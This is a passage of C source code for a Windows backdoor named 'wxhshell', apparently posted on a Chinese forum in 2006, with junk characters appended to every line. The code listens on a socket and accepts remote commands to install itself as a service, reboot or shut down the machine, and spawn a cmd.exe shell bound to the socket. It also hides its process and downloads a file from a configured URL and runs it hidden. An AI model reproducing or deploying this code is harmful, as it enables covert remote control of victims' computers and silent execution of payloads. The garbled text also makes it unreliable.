    switch(cmd[0]) { 4-r5C5o,W  
  _/c1b>kcso  
  // 帮助 Q# Yba  
  case '?': { x9!3i{_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4 AWL::FU5  
    break; y3+iADo.p  
  } y&&%%3  
  // 安装 chC= $(5t  
  case 'i': { ;}>g/lw  
    if(Install()) zBjtPtiiI8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfW"vI+d  
    else U0J_ 3W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GZt L-   
    break; WeiDg,]e$b  
    } iwVsq_[]L  
  // 卸载 '_~qAx@F#c  
  case 'r': { ou\M}C`E  
    if(Uninstall()) g15~+;33N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @,^c?v  
    else x>!bvZ2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H_n Ilku  
    break; zB68%  
    } (ebC80M  
  // 显示 wxhshell 所在路径 4`[2Te>  
  case 'p': { A)%!9i)  
    char svExeFile[MAX_PATH]; <zWMTVaC  
    strcpy(svExeFile,"\n\r"); rNN ,!  
      strcat(svExeFile,ExeFile); ^B?brH}  
        send(wsh,svExeFile,strlen(svExeFile),0); :9~LYJ ?  
    break; +ktubJ@Qgj  
    } 1=L5=uz1d:  
  // 重启 Q)[DSM  
  case 'b': { q|zips,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,_M  
    if(Boot(REBOOT)) vq` M]1]FO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zI.%b7wq  
    else { l.Q.G<ol  
    closesocket(wsh); S&J>15oWM`  
    ExitThread(0); <Toy8-kj  
    } M.o H,Kd6  
    break; ~ ?JN I8  
    } Q+7+||RW  
  // 关机 S;K5JBX0#  
  case 'd': { Zg&o][T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5ktFL<^5T  
    if(Boot(SHUTDOWN)) hA=}R.gi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N;` jz(r  
    else { d+WNg2#v  
    closesocket(wsh); A}4 ",  
    ExitThread(0); - !QVM\t  
    } !~Ptnr`;  
    break; 7e:eL5f>~  
    } _;mA(j  
  // 获取shell v\2- %  
  case 's': { +z|@K=d#|  
    CmdShell(wsh); *X /i<  
    closesocket(wsh); 9]%2Yb8SC  
    ExitThread(0); ,L=lg,lH^  
    break; NjbIt=y  
  } %n^ugm0B  
  // 退出 VDFs.;:s  
  case 'x': { BG8`B'i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &~:+2  
    CloseIt(wsh); &LYH >  
    break; @|:yK|6O  
    } /'a\$G"%6  
  // 离开 88KQ) NU  
  case 'q': { 9]vy#a#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K5HzA1^  
    closesocket(wsh); (#BOcx5J]  
    WSACleanup(); .*B@1q  
    exit(1); `=lo.c  
    break; 'Q"Mu  
        } 22/"0=2g  
  } 3 MCV?"0  
  } EXsVZg"#  
26}fB  
  // 提示信息 L[^.pO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d&lT/S  
} A=sz8?K+`  
  } Dy*K;e-+  
\dbaY:(  
  return; 3^iVDbAW{  
} _*cKu>,O  
s"5nfl  
// shell模块句柄 V 4&a+MJ@  
int CmdShell(SOCKET sock) P%;lHC #i  
{ ,Jx.Kj.,  
STARTUPINFO si; .kTOG'K\e  
ZeroMemory(&si,sizeof(si)); F:sUGM,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BOD!0CR5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e8M0Lz#}  
PROCESS_INFORMATION ProcessInfo; NHcA6y$Cz  
char cmdline[]="cmd"; Z<*"sFpAO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yg6o#;  
  return 0; .Fx3WryF  
} c axOxRo\  
Cj=_WWo  
// 自身启动模式 +,Or^p O=  
int StartFromService(void) k;K-6<^h  
{ uPC(|U%  
typedef struct BSL+Gjj~}  
{ 3a&HW JBSx  
  DWORD ExitStatus; IBUFXzl  
  DWORD PebBaseAddress; hu >wcOt  
  DWORD AffinityMask; SW5n?Qj3-  
  DWORD BasePriority; 5LZs_%#  
  ULONG UniqueProcessId; )%<,JD  
  ULONG InheritedFromUniqueProcessId; 2.^CIJc  
}   PROCESS_BASIC_INFORMATION; e jR_3K^  
~~O4!|t  
PROCNTQSIP NtQueryInformationProcess; &- !$qUli  
S..8,5mBH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a|(|!=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M& )yr^  
RN}joKV  
  HANDLE             hProcess; qL <@PC.5  
  PROCESS_BASIC_INFORMATION pbi; 'V8o["P  
i'10qWz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AAqfp/DC  
  if(NULL == hInst ) return 0; _~ 'MQ`P  
\T!,Z;zK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gm &jlN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2jlz#Sk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z78i7k}  
]o8yZ x  
  if (!NtQueryInformationProcess) return 0; H/k]u)Gtv  
q(csZ\e=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tc{l?7P  
  if(!hProcess) return 0; 5s;@;V  
{NcJL< ;tS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @4KKm@(p85  
<WnIJum  
  CloseHandle(hProcess); 9I`0`o"A  
^6Zx-Mf\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }gFa9M<  
if(hProcess==NULL) return 0; n*i&o;5  
{U@"]{3Qx  
HMODULE hMod; ,1cpV|mAr  
char procName[255]; t,'J%)j  
unsigned long cbNeeded; _zzT[}  
.t9`e=%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z [l+{  
Ui-Y `  
  CloseHandle(hProcess); >o%X;U 3  
V|F/ynJfA  
if(strstr(procName,"services")) return 1; // 以服务启动 6 8fnh'I!  
ic3Szd^4  
  return 0; // 注册表启动 F_i"v5#  
} g/WDAO?d  
cvf?ID84  
// 主模块 Mn3j6a  
int StartWxhshell(LPSTR lpCmdLine) he@Y1CY  
{ Fe+(+ S  
  SOCKET wsl; `sy_'`i>X  
BOOL val=TRUE; LNrM`3%2-  
  int port=0; B*E"yB\NV  
  struct sockaddr_in door; O2yD{i#l*#  
b|G~0[g  
  if(wscfg.ws_autoins) Install(); VKw.g@BY  
1|s` z  
port=atoi(lpCmdLine); 2^75|Q  
!KT.p2\  
if(port<=0) port=wscfg.ws_port; t/%[U,m  
 _VM}]A  
  WSADATA data; PMX'vA`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;j[gE  
;Xqi;EA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bD3d T>(+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uZ@qlq8  
  door.sin_family = AF_INET; Xr4k]'Mg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j9w{=( MV  
  door.sin_port = htons(port); )7-mALyW  
8Fbt >-N<\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cVarvueS  
closesocket(wsl); oK<H/76x  
return 1; Jk:ZO|'Z  
} X+ybgB4(  
+afkpvj8  
  if(listen(wsl,2) == INVALID_SOCKET) { k8SY=HP  
closesocket(wsl); SMU 8U  
return 1; FPZ@6  
} JDp=w,7LF  
  Wxhshell(wsl); R%t|R7 9I  
  WSACleanup(); iCGHcN^3  
u*oP:!s  
return 0; E@l@f  
5p-vSWr !  
} o4j!:CI  
Qw_> l}k/  
// 以NT服务方式启动 Q&@<?K9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jvj* z6/a  
{ Uxe]T  
DWORD   status = 0; .)1u0 (?  
  DWORD   specificError = 0xfffffff; ^)$T`  
qC=ZH#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4(Y-TFaf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [iyhrc:@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p]toDy-}  
  serviceStatus.dwWin32ExitCode     = 0; naeppBo  
  serviceStatus.dwServiceSpecificExitCode = 0; B[f:T%  
  serviceStatus.dwCheckPoint       = 0; ,?%o ~  
  serviceStatus.dwWaitHint       = 0; ]/%CTD(O  
m1tc="j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w*(1qUF#%  
  if (hServiceStatusHandle==0) return; ;7JyL|2  
0&Iu+hv  
status = GetLastError(); O -p^S  
  if (status!=NO_ERROR) o?3C-A|  
{ !HW?/-\,O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b `cH.v  
    serviceStatus.dwCheckPoint       = 0; |h((SreO  
    serviceStatus.dwWaitHint       = 0; hsQ*ozv[)  
    serviceStatus.dwWin32ExitCode     = status; KEq48+j  
    serviceStatus.dwServiceSpecificExitCode = specificError; b=L|GV@$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Np.<&`p!  
    return; u=#_8e(9Z  
  } nA=E|$1  
0f5)]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c.>OpsF  
  serviceStatus.dwCheckPoint       = 0; sd*NY  
  serviceStatus.dwWaitHint       = 0; PA,\o8]x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wqX!7rD/g)  
} 1=~##/at  
FuFICF7+C  
// 处理NT服务事件,比如:启动、停止 3Ea/)EB]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ytfr'sr/  
{ N'21I$D  
switch(fdwControl) SK,UW6h  
{ nEik;hAz  
case SERVICE_CONTROL_STOP: K#y CZ2  
  serviceStatus.dwWin32ExitCode = 0; """eU,"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P4s,N|bs`  
  serviceStatus.dwCheckPoint   = 0; TLz>|gr  
  serviceStatus.dwWaitHint     = 0; O tR  
  { .bRDz:?j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d! _8+~  
  } n3s  
  return; 0j' Xi_uM  
case SERVICE_CONTROL_PAUSE: ^VjF W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V?jot<|$  
  break; TO] cZZ<  
case SERVICE_CONTROL_CONTINUE: ,mt=)Ac  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u#$sO;8s  
  break; ;!H]&2`'(  
case SERVICE_CONTROL_INTERROGATE: QnIF{TS=  
  break; =UZQ` {  
}; }eLth0d`'o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }>'1Qg  
} 3lefB A7  
7x(z  
// 标准应用程序主函数 .;;:t0PB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y,$zSPJCi  
{ 'L veCi_  
7KV0g1GQ  
// 获取操作系统版本 "!PN+gB  
OsIsNt=GetOsVer(); tI+P&L"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IoHYY:[-  
5 r&n  
  // 从命令行安装 U)qG]RI  
  if(strpbrk(lpCmdLine,"iI")) Install(); S&Sa~Oq<o  
[CG*o>n&|  
  // 下载执行文件 cdD?QnZ  
if(wscfg.ws_downexe) { Uc]sWcR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9Cq"Szs  
  WinExec(wscfg.ws_filenam,SW_HIDE); lXu6=r  
} <;zcz[~  
`it  
if(!OsIsNt) { c+G%o8  
// 如果时win9x,隐藏进程并且设置为注册表启动 !<4=@  
HideProc(); PKX Tj6hj)  
StartWxhshell(lpCmdLine); aHSl_[  
} m+pFU?<|  
else <U2Un 0T  
  if(StartFromService()) bA(-7l?  
  // 以服务方式启动 !mu1e=bY>  
  StartServiceCtrlDispatcher(DispatchTable); k'-5&Q  
else dC 8,  
  // 普通方式启动 ]+@I] \S4  
  StartWxhshell(lpCmdLine); $5J~4B"%3  
UO_tJN#X  
return 0; 7H_*1_%ZQ  
}
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只看该作者 1 发表于: 2006-10-10
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